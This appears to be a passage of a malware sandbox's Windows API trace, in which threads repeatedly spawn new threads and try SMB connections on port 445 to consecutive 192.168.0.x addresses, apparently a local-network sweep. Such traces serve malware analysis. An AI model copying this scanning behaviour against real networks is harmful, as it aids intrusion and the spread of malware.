[0098.074] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.074] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0098.075] Sleep (dwMilliseconds=0x32) [0098.163] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.163] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.163] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0098.163] Sleep (dwMilliseconds=0x32) [0098.264] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.264] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.264] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0098.265] Sleep (dwMilliseconds=0x32) [0098.411] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.411] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.411] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c [0098.411] Sleep (dwMilliseconds=0x32) [0098.527] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.527] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.527] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0098.528] Sleep (dwMilliseconds=0x32) [0098.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0098.641] Sleep (dwMilliseconds=0x32) [0098.698] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.698] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.699] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0098.699] Sleep (dwMilliseconds=0x32) [0098.907] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0098.907] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0098.907] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0098.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0098.908] Sleep (dwMilliseconds=0x32) [0099.037] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.037] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.037] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0099.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28 [0099.037] Sleep (dwMilliseconds=0x32) [0099.422] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.422] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0099.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04 [0099.423] Sleep (dwMilliseconds=0x32) [0099.474] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.474] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0099.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8 [0099.475] Sleep (dwMilliseconds=0x32) [0099.633] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.633] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.633] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0099.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8 [0099.634] Sleep (dwMilliseconds=0x32) [0099.724] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.724] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.724] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0099.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0099.725] Sleep (dwMilliseconds=0x32) [0099.843] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0099.843] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0099.843] WSACleanup () returned 0 [0099.844] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26e260) returned 1 [0099.844] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26e260 | out: hHeap=0x230000) returned 1 Thread: id = 33 os_tid = 0x8e4 [0070.860] GetCurrentThreadId () returned 0x8e4 [0070.860] GetCurrentThreadId () returned 0x8e4 [0070.860] GetCurrentThreadId () returned 0x8e4 [0070.860] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x31dfdf0 | out: lpWSAData=0x31dfdf0) returned 0 [0070.860] socket (af=2, type=1, protocol=0) returned 0x28c [0070.861] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0070.861] htons (hostshort=0x1bd) returned 0xbd01 [0070.861] connect (s=0x28c, name=0x31dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.1"), namelen=16) returned -1 [0091.967] closesocket (s=0x28c) returned 0 [0091.967] WSACleanup () returned 0 [0091.967] GetCurrentThreadId () returned 0x8e4 [0091.967] GetCurrentThreadId () returned 0x8e4 [0091.968] GetCurrentThreadId () returned 0x8e4 Thread: id = 34 os_tid = 0x8f4 [0071.016] GetCurrentThreadId () returned 0x8f4 [0071.016] GetCurrentThreadId () returned 0x8f4 [0071.016] GetCurrentThreadId () returned 0x8f4 [0071.016] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x33dfdf0 | out: lpWSAData=0x33dfdf0) returned 0 [0071.016] socket (af=2, type=1, protocol=0) returned 0x29c [0071.017] inet_addr (cp="192.168.0.2") returned 0x200a8c0 [0071.017] htons (hostshort=0x1bd) returned 0xbd01 [0071.017] connect (s=0x29c, name=0x33dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.2"), namelen=16) returned -1 [0092.070] closesocket (s=0x29c) returned 0 [0092.070] WSACleanup () returned 0 [0092.070] GetCurrentThreadId () returned 0x8f4 [0092.071] GetCurrentThreadId () returned 0x8f4 [0092.071] GetCurrentThreadId () returned 0x8f4 Thread: id = 35 os_tid = 0x904 [0071.141] GetCurrentThreadId () returned 0x904 [0071.141] GetCurrentThreadId () returned 0x904 [0071.141] GetCurrentThreadId () returned 0x904 [0071.141] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x34dfdf0 | out: lpWSAData=0x34dfdf0) returned 0 [0071.142] socket (af=2, type=1, protocol=0) returned 0x2ac [0071.142] inet_addr (cp="192.168.0.3") returned 0x300a8c0 [0071.142] htons (hostshort=0x1bd) returned 0xbd01 [0071.142] connect (s=0x2ac, name=0x34dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.3"), namelen=16) returned -1 [0092.170] closesocket (s=0x2ac) returned 0 [0092.170] WSACleanup () returned 0 [0092.170] GetCurrentThreadId () returned 0x904 [0092.170] GetCurrentThreadId () returned 0x904 [0092.170] GetCurrentThreadId () returned 0x904 Thread: id = 36 os_tid = 0x914 [0071.235] GetCurrentThreadId () returned 0x914 [0071.235] GetCurrentThreadId () returned 0x914 [0071.235] GetCurrentThreadId () returned 0x914 [0071.235] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x35dfdf0 | out: lpWSAData=0x35dfdf0) returned 0 [0071.235] socket (af=2, type=1, protocol=0) returned 0x2bc [0071.235] inet_addr (cp="192.168.0.4") returned 0x400a8c0 [0071.235] htons (hostshort=0x1bd) returned 0xbd01 [0071.235] connect (s=0x2bc, name=0x35dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.4"), namelen=16) returned -1 [0092.265] closesocket (s=0x2bc) returned 0 [0092.265] WSACleanup () returned 0 [0092.265] GetCurrentThreadId () returned 0x914 [0092.265] GetCurrentThreadId () returned 0x914 [0092.265] GetCurrentThreadId () returned 0x914 Thread: id = 37 os_tid = 0x924 [0071.328] GetCurrentThreadId () returned 0x924 [0071.328] GetCurrentThreadId () returned 0x924 [0071.328] GetCurrentThreadId () returned 0x924 [0071.328] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x36dfdf0 | out: lpWSAData=0x36dfdf0) returned 0 [0071.328] socket (af=2, type=1, protocol=0) returned 0x2cc [0071.328] inet_addr (cp="192.168.0.5") returned 0x500a8c0 [0071.329] htons (hostshort=0x1bd) returned 0xbd01 [0071.329] connect (s=0x2cc, name=0x36dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.5"), namelen=16) returned -1 [0092.530] closesocket (s=0x2cc) returned 0 [0092.530] WSACleanup () returned 0 [0092.530] GetCurrentThreadId () returned 0x924 [0092.530] GetCurrentThreadId () returned 0x924 [0092.530] GetCurrentThreadId () returned 0x924 Thread: id = 38 os_tid = 0x934 [0071.406] GetCurrentThreadId () returned 0x934 [0071.406] GetCurrentThreadId () returned 0x934 [0071.406] GetCurrentThreadId () returned 0x934 [0071.406] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x37dfdf0 | out: lpWSAData=0x37dfdf0) returned 0 [0071.406] socket (af=2, type=1, protocol=0) returned 0x2dc [0071.407] inet_addr (cp="192.168.0.6") returned 0x600a8c0 [0071.407] htons (hostshort=0x1bd) returned 0xbd01 [0071.407] connect (s=0x2dc, name=0x37dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.6"), namelen=16) returned -1 [0092.531] closesocket (s=0x2dc) returned 0 [0092.531] WSACleanup () returned 0 [0092.531] GetCurrentThreadId () returned 0x934 [0092.531] GetCurrentThreadId () returned 0x934 [0092.531] GetCurrentThreadId () returned 0x934 Thread: id = 39 os_tid = 0x944 [0071.498] GetCurrentThreadId () returned 0x944 [0071.498] GetCurrentThreadId () returned 0x944 [0071.498] GetCurrentThreadId () returned 0x944 [0071.499] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x38dfdf0 | out: lpWSAData=0x38dfdf0) returned 0 [0071.499] socket (af=2, type=1, protocol=0) returned 0x2ec [0071.500] inet_addr (cp="192.168.0.7") returned 0x700a8c0 [0071.500] htons (hostshort=0x1bd) returned 0xbd01 [0071.500] connect (s=0x2ec, name=0x38dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.7"), namelen=16) returned -1 [0092.745] closesocket (s=0x2ec) returned 0 [0092.746] WSACleanup () returned 0 [0092.746] GetCurrentThreadId () returned 0x944 [0092.746] GetCurrentThreadId () returned 0x944 [0092.746] GetCurrentThreadId () returned 0x944 Thread: id = 40 os_tid = 0x954 [0071.578] GetCurrentThreadId () returned 0x954 [0071.578] GetCurrentThreadId () returned 0x954 [0071.578] GetCurrentThreadId () returned 0x954 [0071.578] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x39dfdf0 | out: lpWSAData=0x39dfdf0) returned 0 [0071.578] socket (af=2, type=1, protocol=0) returned 0x2fc [0071.578] inet_addr (cp="192.168.0.8") returned 0x800a8c0 [0071.578] htons (hostshort=0x1bd) returned 0xbd01 [0071.578] connect (s=0x2fc, name=0x39dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.8"), namelen=16) returned -1 [0092.746] closesocket (s=0x2fc) returned 0 [0092.746] WSACleanup () returned 0 [0092.746] GetCurrentThreadId () returned 0x954 [0092.746] GetCurrentThreadId () returned 0x954 [0092.746] GetCurrentThreadId () returned 0x954 Thread: id = 41 os_tid = 0x964 [0071.625] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x3b1fd40 | out: lpWSAData=0x3b1fd40) returned 0 [0071.625] gethostbyname (name="") returned 0x267fb8*(h_name="XDuwTfOno", h_aliases=0x267fc8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x267fcc*=([0]="192.168.0.171")) [0071.661] inet_ntoa (in=0xab00a8c0) returned="192.168.0.171" [0071.661] GetLastError () returned 0x0 [0071.661] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x388) returned 0x2710c8 [0071.661] SetLastError (dwErrCode=0x0) [0071.661] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] GetLastError () returned 0x0 [0071.662] SetLastError (dwErrCode=0x0) [0071.662] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0071.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0071.663] Sleep (dwMilliseconds=0x32) [0071.735] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0071.735] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0071.735] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0071.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0071.736] Sleep (dwMilliseconds=0x32) [0071.814] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0071.814] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0071.814] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0071.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0071.815] Sleep (dwMilliseconds=0x32) [0071.907] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0071.907] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0071.907] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0071.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0071.908] Sleep (dwMilliseconds=0x32) [0072.003] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.003] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.003] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0072.004] Sleep (dwMilliseconds=0x32) [0072.108] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.108] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.108] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0072.109] Sleep (dwMilliseconds=0x32) [0072.205] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.205] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0072.206] Sleep (dwMilliseconds=0x32) [0072.296] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.296] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.297] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0072.297] Sleep (dwMilliseconds=0x32) [0072.374] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.374] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.374] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0072.375] Sleep (dwMilliseconds=0x32) [0072.479] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.479] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.479] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0072.480] Sleep (dwMilliseconds=0x32) [0072.562] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.562] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.562] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0072.563] Sleep (dwMilliseconds=0x32) [0072.678] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.678] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.678] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0072.679] Sleep (dwMilliseconds=0x32) [0072.771] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.771] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.771] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0072.772] Sleep (dwMilliseconds=0x32) [0072.858] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.858] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0072.859] Sleep (dwMilliseconds=0x32) [0072.953] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0072.953] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0072.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0072.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0072.953] Sleep (dwMilliseconds=0x32) [0073.062] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.062] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.062] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0073.063] Sleep (dwMilliseconds=0x32) [0073.156] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.156] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.156] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0073.157] Sleep (dwMilliseconds=0x32) [0073.248] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.248] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.249] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0073.249] Sleep (dwMilliseconds=0x32) [0073.342] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.342] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.342] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0073.342] Sleep (dwMilliseconds=0x32) [0073.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0073.436] Sleep (dwMilliseconds=0x32) [0073.529] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.529] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.529] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0073.530] Sleep (dwMilliseconds=0x32) [0073.623] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.623] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.623] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0073.623] Sleep (dwMilliseconds=0x32) [0073.716] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.716] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.716] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.716] CreateThread (in: 